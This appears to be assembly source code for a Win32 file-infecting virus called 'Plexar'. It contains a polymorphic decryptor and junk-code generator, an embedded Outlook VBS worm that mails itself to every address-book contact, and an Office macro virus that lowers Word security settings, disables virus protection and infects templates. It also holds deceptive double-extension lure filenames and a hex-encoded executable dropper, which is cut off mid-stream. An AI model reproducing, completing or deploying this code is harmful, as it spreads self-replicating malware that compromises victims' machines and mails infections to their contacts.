JZ @Popear_Delta_I + CMP EAX, 01h + JZ @Popear_Delta_II + CMP EAX, 02h + JZ @Popear_Delta_III + CMP EAX, 03h + JZ @Popear_Delta_IV + + JMP @Popear_Delta_IV + + @Popear_Delta_R: + + RET + + @Popear_Delta_I: + MOV AL, 05Dh ; POP EBP + STOSB + MOV AX, 0ED81h ; SUB EBP + STOSW + MOV DWO [GuardaDelta], EDI + MOV EAX, DWO [Origen] + STOSD + JMP @Popear_Delta_R + + @Popear_Delta_II: + MOV AL, 058h + STOSB + MOV AL, 02Dh + STOSB + MOV DWO [GuardaDelta], EDI + MOV EAX, DWO [Origen] + STOSD + MOV AL, 095h + STOSB + JMP @Popear_Delta_R + + @Popear_Delta_III: + MOV AL, 05Bh + STOSB + MOV AL, 0BAh + STOSB + MOV DWO [GuardaDelta], EDI + MOV EAX, DWO [Origen] + STOSD + MOV AX, 0D329h + STOSW + MOV AX, 0DD87h + STOSW + JMP @Popear_Delta_R + + @Popear_Delta_IV: + MOV AL, 05Ah + STOSB + MOV AL, 068h + STOSB + MOV DWO [GuardaDelta], EDI + MOV EAX, DWO [Origen] + STOSD + MOV AL, 05Dh + STOSB + MOV AX, 0D587h + STOSW + MOV AX, 0D529h + STOSW + JMP @Popear_Delta_R + + RET + + @Meter_Tamao: + + PUSH 04h + POP EBX + CALL @Aleatorio + OR EAX, EAX + JZ @Meter_Tamao_I + CMP EAX, 01h + JZ @Meter_Tamao_II + CMP EAX, 02h + JZ @Meter_Tamao_III + CMP EAX, 03h + JZ @Meter_Tamao_IV + + JMP @Meter_Tamao_III + + @Meter_TamaoR: + + RET + + @Meter_Tamao_I: + MOV AL, 0B9h + STOSB + MOV EAX, DWO [Tamao] + STOSD + JMP @Meter_TamaoR + + @Meter_Tamao_II: + MOV AL, 068h + STOSB + MOV EAX, DWO [Tamao] + STOSD + MOV AL, 059h + STOSB + JMP @Meter_TamaoR + + @Meter_Tamao_III: + MOV AL, 0BAh + STOSB + MOV EAX, DWO [Tamao] + NOT EAX + STOSD + MOV AX, 0CA87h + STOSW + MOV AX, 0D1F7h + STOSW + JMP @Meter_TamaoR + + @Meter_Tamao_IV: + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + XCHG EDX, EAX + + MOV AL, 068h + STOSB + MOV EAX, EDX + STOSD + MOV AL, 058h + STOSB + MOV AL, 035h + STOSB + MOV EAX, DWO [Tamao] + XOR EAX, EDX + STOSD + MOV AL, 091h + STOSB + JMP @Meter_TamaoR + + @Colocar_LEA: + + PUSH 03h + POP EBX + CALL @Aleatorio + OR EAX, EAX + JZ @Colocar_Lea_I + CMP EAX, 01h + JZ @Colocar_Lea_II + CMP EAX, 02h + JZ @Colocar_Lea_III + + JMP @Colocar_Lea_II + + @Colocar_LEAR: + + RET + + @Colocar_LEA_I: + MOV AX, 0BD8Dh + STOSW + MOV EAX, DWO [Origen] + STOSD + JMP @Colocar_LEAR + + @Colocar_LEA_II: + MOV AL, 0BFh + STOSB + MOV EAX, DWO [Origen] + STOSD + MOV AX, 0EF01h + STOSW + JMP @Colocar_LEAR + + @Colocar_LEA_III: + MOV AL, 068h + STOSB + MOV EAX, DWO [Origen] + STOSD + MOV AL, 05Ah + STOSB + MOV AX, 0EA01h + STOSW + MOV AX, 0D787h + STOSW + JMP @Colocar_LEAR + + @SumaCuatro: + + PUSH 04h + POP EBX + CALL @Aleatorio + OR EAX, EAX + JZ @SumaCuatro_I + CMP EAX, 01h + JZ @SumaCuatro_II + CMP EAX, 02h + JZ @SumaCuatro_III + CMP EAX, 03h + JZ @SumaCuatro_IV + + JMP @SumaCuatro_III + + @SumaCuatroR: + + RET + + @SumaCuatro_I: + MOV AX, 0C781h + STOSW + MOV EAX, 00000004h + STOSD + JMP @SumaCuatroR + + @SumaCuatro_II: + MOV EAX, 47474747h + STOSD + JMP @SumaCuatroR + + @SumaCuatro_III: + MOV AL, 47h + STOSB + MOV AX, 0C781h + STOSW + MOV EAX, 00000002h + STOSD + MOV AL, 47h + STOSB + JMP @SumaCuatroR + + @SumaCuatro_IV: + MOV AX, 0C781h + STOSW + MOV EAX, 00000003h + STOSD + MOV AL, 47h + STOSB + JMP @SumaCuatroR + + ; Generador de basura! Mega Lamer!!! + + @Basura: + + PUSH 10d + POP ECX + + @BasLoop: + + PUSH 08d + POP EBX + CALL @Aleatorio + + OR EAX, EAX + JZ @Basura_1 + CMP EAX, 1h + JZ @Basura_2 + CMP EAX, 2h + JZ @Basura_3 + CMP EAX, 3h + JZ @Basura_4 + CMP EAX, 4h + JZ @Basura_5 + CMP EAX, 5h + JZ @Basura_6 + CMP EAX, 6h + JZ @Basura_7 + + JMP @Basura_1 + + @BasuraR: + + LOOP @BasLoop + + RET + + @Basura_1: + + PUSH 07h + POP EBX + CALL @Aleatorio + LEA ESI, OFS [@B1_Tabla] + ADD ESI, EAX + MOVSB + + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + STOSD + JMP @BasuraR + + @B1_Tabla: + DB 0B8h ; MOV EAX + DB 0BBh ; MOV EBX + DB 0BAh ; MOV EDX + DB 0BEh ; MOV ESI + DB 005h ; ADD EAX + DB 02Dh ; SUB EAX + DB 035h ; XOR EAX + DB 015h ; ADC EAX + + @Basura_2: + + PUSH 15d + POP EBX + CALL @Aleatorio + ADD EAX, EAX + LEA ESI, OFS [@B2_Tabla] + ADD ESI, EAX + MOVSW + + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + STOSD + + JMP @BasuraR + + @B2_Tabla: + DB 081h, 0C3h ; ADD EBX + DB 081h, 0C2h ; ADD EDX + DB 081h, 0C6h ; ADD ESI + DB 081h, 0EBh ; SUB EBX + DB 081h, 0EAh ; SUB EDX + DB 081h, 0EEh ; SUB ESI + DB 081h, 0F6h ; XOR ESI + DB 081h, 0F2h ; XOR EDX + DB 081h, 0F3h ; XOR EBX + DB 081h, 0D3h ; ADC EBX + DB 081h, 0D2h ; ADC EDX + DB 081h, 0D6h ; ADC ESI + DB 069h, 0C0h ; IMUL EAX + DB 069h, 0DBh ; IMUL EBX + DB 069h, 0D2h ; IMUL EDX + DB 069h, 0F6h ; IMUL ESI + + @Basura_3: + + PUSH 35d + POP EBX + CALL @Aleatorio + ADD EAX, EAX + LEA ESI, OFS [@B3_Tabla] + ADD ESI, EAX + MOVSW + + JMP @BasuraR + + @B3_Tabla: + DB 001h, 0D8h ; ADD EAX, EBX + DB 001h, 0D0h ; ADD EAX, EDX + DB 001h, 0F0h ; ADD EAX, ESI + DB 001h, 0D3h ; ADD EBX, EDX + DB 001h, 0F3h ; ADD EBX, ESI + DB 001h, 0C3h ; ADD EBX, EAX + DB 001h, 0DAh ; ADD EDX, EBX + DB 001h, 0F2h ; ADD EDX, ESI + DB 001h, 0C2h ; ADD EDX, EAX + DB 001h, 0DEh ; ADD ESI, EBX + DB 001h, 0D6h ; ADD ESI, EDX + DB 001h, 0C6h ; ADD ESI, EAX + DB 029h, 0D8h ; SUB EAX, EBX + DB 029h, 0D0h ; SUB EAX, EDX + DB 029h, 0F0h ; SUB EAX, ESI + DB 029h, 0C3h ; SUB EBX, EAX + DB 029h, 0D3h ; SUB EBX, EDX + DB 029h, 0F3h ; SUB EBX, ESI + DB 029h, 0C2h ; SUB EDX, EAX + DB 029h, 0DAh ; SUB EDX, EBX + DB 029h, 0F2h ; SUB EDX, ESI + DB 029h, 0C6h ; SUB ESI, EAX + DB 029h, 0DEh ; SUB ESI, EBX + DB 029h, 0D6h ; SUB ESI, EDX + DB 031h, 0D8h ; XOR EAX, EBX + DB 031h, 0D0h ; XOR EAX, EDX + DB 031h, 0F0h ; XOR EAX, ESI + DB 031h, 0C3h ; XOR EBX, EAX + DB 031h, 0D3h ; XOR EBX, EDX + DB 031h, 0F3h ; XOR EBX, ESI + DB 031h, 0C2h ; XOR EDX, EAX + DB 031h, 0DAh ; XOR EDX, EBX + DB 031h, 0F2h ; XOR EDX, ESI + DB 031h, 0C6h ; XOR ESI, EAX + DB 031h, 0DEh ; XOR ESI, EBX + DB 031h, 0D6h ; XOR ESI, EDX + + @Basura_4: + MOV AL, 068h ; PUSH + STOSB + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + STOSD + + PUSH 03h + POP EBX + CALL @Aleatorio + LEA ESI, OFS [@B4_Tabla] + ADD ESI, EAX + MOVSB + + JMP @BasuraR + + @B4_Tabla: + DB 058h ; POP EAX + DB 05Bh ; POP EBX + DB 05Ah ; POP EDX + DB 05Eh ; POP ESI + + @Basura_5: + PUSH 11d + POP EBX + CALL @Aleatorio + LEA ESI, OFS [@B5_Tabla] + ADD ESI, EAX + MOVSB + + JMP @BasuraR + + @B5_Tabla: + DB 040h ; inc eax + DB 043h ; inc ebx + DB 042h ; inc edx + DB 046h ; inc esi + DB 048h ; dec eax + DB 04Bh ; dec ebx + DB 04Ah ; dec edx + DB 04Eh ; dec esi + DB 093h ; xchg ebx,eax + DB 092h ; xchg edx,eax + DB 096h ; xchg esi,eax + DB 093h ; xchg ebx,eax + + @Basura_6: + PUSH 13d + POP EBX + CALL @Aleatorio + LEA ESI, OFS [@B6_Tabla] + ADD EAX, EAX + ADD ESI, EAX + MOVSW + + JMP @BasuraR + + @B6_Tabla: + DB 0F7h, 0D0h ; not eax + DB 0F7h, 0D3h ; not ebx + DB 0F7h, 0D2h ; not edx + DB 0F7h, 0D6h ; not esi + DB 0F7h, 0D8h ; neg eax + DB 0F7h, 0DBh ; neg ebx + DB 0F7h, 0DAh ; neg edx + DB 0F7h, 0DEh ; neg esi + DB 087h, 0DAh ; xchg ebx,edx + DB 087h, 0DEh ; xchg ebx,esi + DB 087h, 0D3h ; xchg edx,ebx + DB 087h, 0D6h ; xchg edx,esi + DB 087h, 0F3h ; xchg esi,ebx + DB 087h, 0F2h ; xchg esi,edx + + @Basura_7: + PUSH 31d + POP EBX + CALL @Aleatorio + LEA ESI, OFS [@B7_Tabla] + ADD EAX, EAX + ADD ESI, EAX + MOVSW + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + STOSB + + JMP @BasuraR + + @B7_Tabla: + DB 0C1h, 0D0h ; rcl eax + DB 0C1h, 0D3h ; rcl ebx + DB 0C1h, 0D2h ; rcl edx + DB 0C1h, 0D6h ; rcl esi + DB 0C1h, 0D8h ; rcr eax + DB 0C1h, 0DBh ; rcr ebx + DB 0C1h, 0DAh ; rcr edx + DB 0C1h, 0DEh ; rcr esi + DB 0C1h, 0C0h ; rol eax + DB 0C1h, 0C3h ; rol ebx + DB 0C1h, 0C2h ; rol edx + DB 0C1h, 0C6h ; rol esi + DB 0C1h, 0C8h ; ror eax + DB 0C1h, 0CBh ; ror ebx + DB 0C1h, 0CAh ; ror edx + DB 0C1h, 0CEh ; ror esi + DB 0C1h, 0E0h ; shl eax + DB 0C1h, 0E3h ; shl ebx + DB 0C1h, 0E2h ; shl edx + DB 0C1h, 0E6h ; shl esi + DB 0C1h, 0F8h ; sar eax + DB 0C1h, 0FBh ; sar ebx + DB 0C1h, 0FAh ; sar edx + DB 0C1h, 0FEh ; sar esi + DB 0C1h, 0E0h ; shl eax + DB 0C1h, 0E3h ; shl ebx + DB 0C1h, 0E2h ; shl edx + DB 0C1h, 0E6h ; shl esi + DB 0C1h, 0E8h ; shr eax + DB 0C1h, 0EBh ; shr ebx + DB 0C1h, 0EAh ; shr edx + DB 0C1h, 0EEh ; shr esi + + @SaveSemilla DB 8 DUP (00h) + + Semilla_1 DD 00000000h + Semilla_2 DD 00000000h + Llave DD 00000000h + + Origen DD 00000000h + Destino DD 00000000h + Tamao DD 00000000h + + GuardaDelta DD 00000000h + GuardaDelta2 DD 00000000h + GuardaLoop DD 00000000h + + Mierda_1 EQU 1A7FC23Bh + Mierda_2 EQU 000028B1h + Mierda_3 EQU 974D9DB5h + Mierda_4 EQU 0000F3C9h + + PXPE ENDP + +; + +;*************************************************************** +;* aPLib v0.22b - the smaller the better :) * +;* WASM & TASM assembler depacker * +;* * +;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved * +;*************************************************************** + +;.386p +;.MODEL flat + +;.CODE + +;PUBLIC _aP_depack_asm + +_aP_depack_asm: + push ebp + mov ebp, esp + pushad + push ebp + + mov esi, [ebp + 8] ; C calling convention + mov edi, [ebp + 12] + + cld + mov dl, 80h + +literal: + movsb +nexttag: + call getbit + jnc literal + + xor ecx, ecx + call getbit + jnc codepair + xor eax, eax + call getbit + jnc shortmatch + mov al, 10h +getmorebits: + call getbit + adc al, al + jnc getmorebits + jnz domatch_with_inc + stosb + jmp short nexttag +codepair: + call getgamma_no_ecx + dec ecx + loop normalcodepair + mov eax,ebp + call getgamma + jmp short domatch + +shortmatch: + lodsb + shr eax, 1 + jz donedepacking + adc ecx, 2 + mov ebp, eax + jmp short domatch + +normalcodepair: + xchg eax, ecx + dec eax + shl eax, 8 + lodsb + mov ebp, eax + call getgamma + cmp eax, 32000 + jae domatch_with_2inc + cmp eax, 1280 + jae domatch_with_inc + cmp eax, 7fh + ja domatch + +domatch_with_2inc: + inc ecx + +domatch_with_inc: + inc ecx +domatch: + push esi + mov esi, edi + sub esi, eax + rep movsb + pop esi + jmp short nexttag + +getbit: + add dl, dl + jnz stillbitsleft + mov dl, [esi] + inc esi + adc dl, dl +stillbitsleft: + ret + +getgamma: + xor ecx, ecx +getgamma_no_ecx: + inc ecx +getgammaloop: + call getbit + adc ecx, ecx + call getbit + jc getgammaloop + ret + +donedepacking: + pop ebp + sub edi, [ebp + 12] + mov [ebp - 4], edi ; return unpacked length in eax + + popad + pop ebp + ret + +; + + ; Billy Belcebu's CRC32 calculator. + ; + ; CRC32 procedure + ; --------------+ + ; + ; input: + ; ESI = Offset where code to calculate begins + ; EDI = Size of that code + ; output: + ; EAX = CRC32 of given code + ; + + CRC32 proc + cld + xor ecx,ecx ; Optimized by me - 2 bytes + dec ecx ; less + mov edx,ecx + NextByteCRC: + xor eax,eax + xor ebx,ebx + lodsb + xor al,cl + mov cl,ch + mov ch,dl + mov dl,dh + mov dh,8 + NextBitCRC: + shr bx,1 + rcr ax,1 + jnc NoCRC + xor ax,08320h + xor bx,0EDB8h + NoCRC: dec dh + jnz NextBitCRC + xor ecx,eax + xor edx,ebx + dec edi ; 1 byte less + jnz NextByteCRC + not edx + not ecx + mov eax,edx + rol eax,16 + mov ax,cx + ret + CRC32 endp + +; + + ; Generador de numeros aleatorios para uso general. + ; + ; EBX -> Limite Superior + + Random PROC + + PUSH ECX EDX EDI EBX + + LEA EDI, OFS [Mariconada] + RDTSC + STOSD + PUSH 04h + POP EDI + LEA ESI, OFS [Mariconada] + CALL CRC32 + XCHG EDX, EAX + + PUSH EDX + LEA EDI, OFS [Mariconada] + APICALL GetTickCount + STOSD + SUB EDI, 04h + XCHG EDI, ESI + PUSH 04h + POP EDI + CALL CRC32 + POP EDX + + PUSH EAX + OR EAX, EDX + POP ECX + AND EDX, ECX + + XOR EAX, EDX + + POP EBX + XOR EDX, EDX + DIV EBX + XCHG EDX, EAX + + POP EDI EDX ECX + RET + + Mariconada DB 9 DUP (00h) + + Random ENDP + +; + + ; TABLA! + ; + ; Create -> 01h + ; File -> 02h + ; Map -> 03h + ; View -> 04h + ; Close -> 05h + ; Get -> 06h + ; Set -> 07h + ; Find -> 08h + ; Virtual -> 09h + ; Window -> 0Ah + ; Directory -> 0Bh + ; Current -> 0Ch + ; WaitFor -> 0Dh + ; Thread -> 0Eh + + HThread DD 00000000h + + APIs_K32 DB 01h, 02h, "A", 00h + DB 01h, 02h, 03h, "pingA", 00h + DB 03h, 04h, "Of", 02h, 00h + DB "Unmap", 04h, "Of", 02h, 00h + DB 05h, "Handle", 00h + DB 06h, 02h, "Size", 00h + DB 07h, 02h, "Pointer", 00h + DB 07h, "EndOf", 02h, 00h + DB 07h, 02h, "AttributesA", 00h + DB "Write", 02h, 00h + DB 08h, "First", 02h, "A", 00h + DB 08h, "Next", 02h, "A", 00h + DB 08h, 05h, 00h + DB 09h, "Alloc", 00h + DB 09h, "Free", 00h + DB 06h, 0Ah, "s", 0Bh, "A", 00h + DB 06h, 0Ch, 0Bh, "A", 00h + DB 07h, 0Ch, 0Bh, "A", 00h + DB 01h, 0Eh, 00h + DB "Exit", 0Eh, 00h + DB 0Dh, "MultipleObjects", 00h + DB 0Dh, "SingleObject", 00h + DB 06h, "TickCount", 00h + DB "LoadLibraryA", 00h + DB "Delete", 02h, "A", 00h + DB 07h, 0Eh, "Priority", 00h + DB 0FFh + + CreateFileA DD 00000000h + CreateFileMappingA DD 00000000h + MapViewOfFile DD 00000000h + UnmapViewOfFile DD 00000000h + CloseHandle DD 00000000h + GetFileSize DD 00000000h + SetFilePointer DD 00000000h + SetEndOfFile DD 00000000h + SetFileAttributesA DD 00000000h + WriteFile DD 00000000h + FindFirstFileA DD 00000000h + FindNextFileA DD 00000000h + FindClose DD 00000000h + VirtualAlloc DD 00000000h + VirtualFree DD 00000000h + GetWindowsDirectoryA DD 00000000h + GetCurrentDirectoryA DD 00000000h + SetCurrentDirectoryA DD 00000000h + CreateThread DD 00000000h + ExitThread DD 00000000h + WaitForMultipleObjects DD 00000000h + WaitForSingleObject DD 00000000h + GetTickCount DD 00000000h + LoadLibraryA DD 00000000h + DeleteFileA DD 00000000h + SetThreadPriority DD 00000000h + + KERNEL32 DD 00000000h + + Thread_Directa DD 00000000h + Thread_WormVBS DD 00000000h + Thread_IWord DD 00000000h + Thread_Host DD 00000000h + + Listo_Directa DB 00h + + GetProcAddress DD 00000000h + Exports DD 00000000h + + CRC32_GetProcAddress EQU 0FFC97C1Fh + l_GetProcAddress EQU 0Fh + + Scriptum DD 00000000h + GuardaNom DD 00000000h + LargoVBS DB 00h + FHandle_WVBS DD 00000000h + MHandle_WVBS DD 00000000h + BaseMap_WVBS DD 00000000h + + Gusano_VBS LABEL NEAR + DB 'On Error Resume Next', 0Dh, 0Ah + DB 'Set Outlook = CreateObject("OutLook.Application")', 0Dh, 0Ah + DB 'If ( Outlook <> "" ) Then', 0Dh, 0Ah + DB 'With Outlook', 0Dh, 0Ah + DB 'Set MAPI = .GetNameSpace("MAPI")', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'With MAPI', 0Dh, 0Ah + DB 'Set AddrList = .AddressLists', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'For I = 1 to AddrList.Count', 0Dh, 0Ah + DB 'With OutLook', 0Dh, 0Ah + DB 'Set NuevoMail = .CreateItem(0)', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'Set LibroActual = AddrList.Item(I)', 0Dh, 0Ah + DB 'With NuevoMail', 0Dh, 0Ah + DB '.Attachments.Add "' + L_Gusano_VBS EQU $-Gusano_VBS + + Gusano_VBS2 LABEL NEAR + DB '"', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'Set Yuca = LibroActual.AddressEntries', 0Dh, 0Ah + DB 'With Yuca', 0Dh, 0Ah + DB 'For J = 1 to .Count', 0Dh, 0Ah + DB 'With NuevoMail', 0Dh, 0Ah + DB 'Set bajo = .Recipients', 0Dh, 0Ah + DB 'bajo.Add Yuca(J)', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'Next', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'With NuevoMail', 0Dh, 0Ah + DB '.Send', 0Dh, 0Ah + DB 'End With', 0Dh, 0Ah + DB 'Next', 0Dh, 0Ah + DB 'Outlook.Quit', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + L_Gusano_VBS2 EQU $-Gusano_VBS2 + + Nombres_Varios DB "XD", 00h + DB "Sex.jpg", 20d DUP (" "), ".exe", 00h + DB "Porno.gif", 20d DUP (" "), ".exe", 00h + DB "Free_XXX.jpg", 20d DUP (" "), ".exe", 00h + DB "Great_Music.mp3", 20d DUP (" "), ".exe", 00h + DB "Check_This.jpg", 20d DUP (" "), ".exe", 00h + DB "Cool_Pics.gif", 20d DUP (" "), ".exe", 00h + DB "Love_Story.html", 20d DUP (" "), ".exe", 00h + DB "Sexy_Screensaver.scr", 00h + DB "Free_Love_Screensaver.scr", 00h + DB "Eat_My_Shorts.scr", 00h + + Raxelp_vbs DB "raxelp.vbs", 00h + WScript_exe DB "wscript.exe", 00h + + Tabla_Hex DB "0123456789ABCDEF", 00h + + FHandle_IW DD 00000000h + MHandle_IW DD 00000000h + BaseMap_IW DD 00000000h + Tamao_IW DD 00000000h + Memoria_IW DD 00000000h + Macaco DB 13d DUP (00h) + + Virus_Macro LABEL NEAR + DB 'Attribute VB_Name = "Plexar"', 0Dh, 0Ah + DB 'Sub Auto_Open()', 0Dh, 0Ah + DB 'Application.OnSheetActivate = "InfXL"', 0Dh, 0Ah + DB 'End Sub', 0Dh, 0Ah + DB 'Sub InfXL()', 0Dh, 0Ah + DB 'On Error Resume Next', 0Dh, 0Ah + DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah + DB 'Set VBP = Application.VBE.ActiveVBProject', 0Dh, 0Ah + DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah + DB 'Set VBX = VBP.VBComponents', 0Dh, 0Ah + DB 'With Application: .ScreenUpdating = Not -1: .DisplayStatusBar = Not -1: .EnableCancelKey = Not -1: .DisplayAlerts = Not -1: End With', 0Dh, 0Ah + DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$": YYY = Application.StartupPath & "\personal.xls"', 0Dh, 0Ah + DB 'VBX.Item(ZZZ).Export XXX', 0Dh, 0Ah + DB 'If AXO.Item(ZZZ).Name <> ZZZ Then', 0Dh, 0Ah + DB ' AXO.Import XXX: AWO.SaveAs AWO.FullName', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'If (Dir(YYY) = "") Then', 0Dh, 0Ah + DB 'Workbooks.Add.SaveAs YYY', 0Dh, 0Ah + DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah + DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah + DB 'AXO.Import XXX', 0Dh, 0Ah + DB 'ActiveWindow.Visible = Not -1', 0Dh, 0Ah + DB 'Workbooks("personal.xls").Save', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'Kill XXX', 0Dh, 0Ah + DB 'Call Correme', 0Dh, 0Ah + DB 'End Sub', 0Dh, 0Ah + DB 'Sub AutoClose()', 0Dh, 0Ah + DB 'On Error Resume Next', 0Dh, 0Ah + DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$"', 0Dh, 0Ah + DB 'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah + DB 'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah + DB 'With Options: .VirusProtection = (2 * 4 + 4 / 6 - 2): .ConfirmConversions = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah + DB 'With Application: .DisplayStatusBar = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah + DB 'Set AKT = VBE.ActiveVBProject.VBComponents', 0Dh, 0Ah + DB 'Set NOX = NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah + DB 'Set DOX = ActiveDocument.VBProject.VBComponents', 0Dh, 0Ah + DB 'AKT.Item(ZZZ).Export XXX', 0Dh, 0Ah + DB 'If (NOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah + DB 'NOX.Import XXX', 0Dh, 0Ah + DB 'NormalTemplate.Save', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'If (DOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah + DB 'DOX.Import XXX', 0Dh, 0Ah + DB 'ActiveDocument.SaveAs ActiveDocument.FullName', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'Kill XXX', 0Dh, 0Ah + DB 'Call Correme', 0Dh, 0Ah + DB 'End Sub', 0Dh, 0Ah + DB 'Private Sub Correme()', 0Dh, 0Ah + DB 'On Error Resume Next', 0Dh, 0Ah + DB 'Dim joda as String', 0Dh, 0Ah + DB 'Dim X as String', 0Dh, 0Ah + DB 'joda = "' + L_Virus_Macro EQU $-Virus_Macro + + Virus_Macro_2 LABEL NEAR + DB 'For o = 1 to Len(joda) Step 2', 0Dh, 0Ah + DB 'X = X + Chr("&h" + Mid(Joda, o, 2))', 0Dh, 0Ah + DB 'Next', 0Dh, 0Ah + DB 'raxname = Environ("windir") & "\raxelp.exe"', 0Dh, 0Ah + DB 'Open raxname For Binary As #1', 0Dh, 0Ah + DB 'Put #1, 1, X$', 0Dh, 0Ah + DB 'Close #1', 0Dh, 0Ah + DB 'xoxo = Shell(raxname, 0)', 0Dh, 0Ah + DB 'End Sub', 0Dh, 0Ah + L_Virus_Macro_2 EQU $-Virus_Macro_2 + + Nihil DB 00h + Memoria DD 00000000h + Raxelp_$$$ DB "c:\raxelp.$$$", 00h + Plxwrd_vbs DB "plxwrd.vbs", 00h + + Macro_VBS LABEL NEAR + DB 'On Error Resume Next', 0Dh, 0Ah + DB 'Set word = CreateObject("Word.Application")', 0Dh, 0Ah + DB 'If ( word <> "" ) Then', 0Dh, 0Ah + DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah + DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah + DB 'Set maca = word.Application.NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah + DB 'If maca.Item("Plexar").Name <> "Plexar" Then', 0Dh, 0Ah + DB 'maca.Import "c:\raxelp.$$$"', 0Dh, 0Ah + DB 'word.Application.NormalTemplate.Save', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'Set fso = CreateObject("Scripting.FileSystemObject")', 0Dh, 0Ah + DB 'Set excel = CreateObject("Excel.Application")', 0Dh, 0Ah + DB 'If ( excel <> "" ) Then', 0Dh, 0Ah + DB 'yyy = excel.Application.StartupPath & "\personal.xls"', 0Dh, 0Ah + DB 'If (fso.FileExists(yyy) = False) Then', 0Dh, 0Ah + DB 'excel.WorkBooks.Add.SaveAs yyy', 0Dh, 0Ah + DB 'excel.Application.ActiveWorkbook.VBProject.VBComponents.Import "c:\raxelp.$$$"', 0Dh, 0Ah + DB 'excel.ActiveWindow.Visible = Not -1', 0Dh, 0Ah + DB 'excel.Workbooks("personal.xls").Save', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + DB 'excel.Application.Quit', 0Dh, 0Ah + DB 'End If', 0Dh, 0Ah + Largo_MVBS EQU $-Macro_VBS + + FHandle_DPE DD 00000000h + MHandle_DPE DD 00000000h + BaseMap_DPE DD 00000000h + + DROPPER LABEL NEAR + + DB 04Dh, 038h, 05Ah, 050h, 038h, 002h, 067h, 002h + DB 004h, 007h, 00Fh, 007h, 0FFh, 01Ch, 010h, 0B8h + DB 0E1h, 048h, 001h, 040h, 0E0h, 01Ah, 0E1h, 00Ah + DB 0B3h, 001h, 01Ch, 006h, 0BAh, 010h, 000h, 00Eh + DB 01Fh, 0B4h, 009h, 0CDh, 021h, 07Dh, 0B8h, 067h + DB 04Ch, 00Ah, 090h, 010h, 054h, 068h, 069h, 073h + DB 007h, 020h, 070h, 072h, 06Fh, 067h, 033h, 061h + DB 06Dh, 0C7h, 027h, 075h, 0C7h, 074h, 0D3h, 062h + DB 065h, 0C7h, 0FFh, 00Fh, 06Eh, 099h, 006h, 064h + DB 0E7h, 0C7h, 0D3h, 057h, 069h, 0D0h, 033h, 032h + DB 00Dh, 01Ch, 00Ah, 024h, 037h, 029h, 001h, 057h + DB 063h, 050h, 045h, 00Eh, 008h, 04Ch, 001h, 005h + DB 001h, 099h, 02Bh, 05Ch, 0A3h, 058h, 014h, 0E0h + DB 0E0h, 08Eh, 004h, 081h, 00Bh, 001h, 002h, 019h + DB 08Dh, 019h, 022h, 007h, 08Ah, 010h, 004h, 064h + DB 020h, 099h, 01Eh, 056h, 00Ch, 041h, 053h, 001h + DB 01Fh, 038h, 003h, 029h, 00Ah, 009h, 012h, 070h + DB 036h, 04Dh, 002h, 0A4h, 01Fh, 0A4h, 035h, 053h + DB 020h, 008h, 07Bh, 0A5h, 04Bh, 02Bh, 001h, 0B2h + DB 097h, 0A2h, 02Eh, 00Ah, 060h, 038h, 052h, 0BCh + DB 0A1h, 0D4h, 061h, 0F8h, 0EBh, 0C1h, 043h, 04Fh + DB 044h, 045h, 05Bh, 0D8h, 022h, 002h, 056h, 006h + DB 024h, 095h, 0B7h, 007h, 0E0h, 044h, 041h, 054h + DB 02Ah, 00Dh, 0CAh, 004h, 091h, 012h, 035h, 008h + DB 050h, 07Ch, 0C3h, 0C0h, 007h, 02Eh, 069h, 064h + DB 061h, 074h, 02Ah, 04Ch, 06Dh, 023h, 026h, 03Ch + DB 0D4h, 028h, 0E0h, 072h, 065h, 06Ch, 023h, 06Fh + DB 063h, 091h, 050h, 0C8h, 01Ch, 056h, 040h, 050h + DB 073h, 0E4h, 063h, 0E1h, 01Dh, 022h, 01Ch, 08Ah + DB 01Eh, 028h, 054h, 0E1h, 05Ah, 001h, 0FFh, 0B0h + DB 033h, 0C0h, 050h, 084h, 030h, 0E8h, 01Dh, 019h + DB 068h, 088h, 013h, 0DEh, 00Ah, 099h, 007h, 015h + DB 06Ah, 091h, 00Eh, 006h, 007h, 0FFh, 025h, 050h + DB 040h, 01Ch, 00Dh, 054h, 086h, 045h, 05Ch, 04Bh + DB 001h, 0FEh, 0BFh, 0C9h, 03Ch, 0F1h, 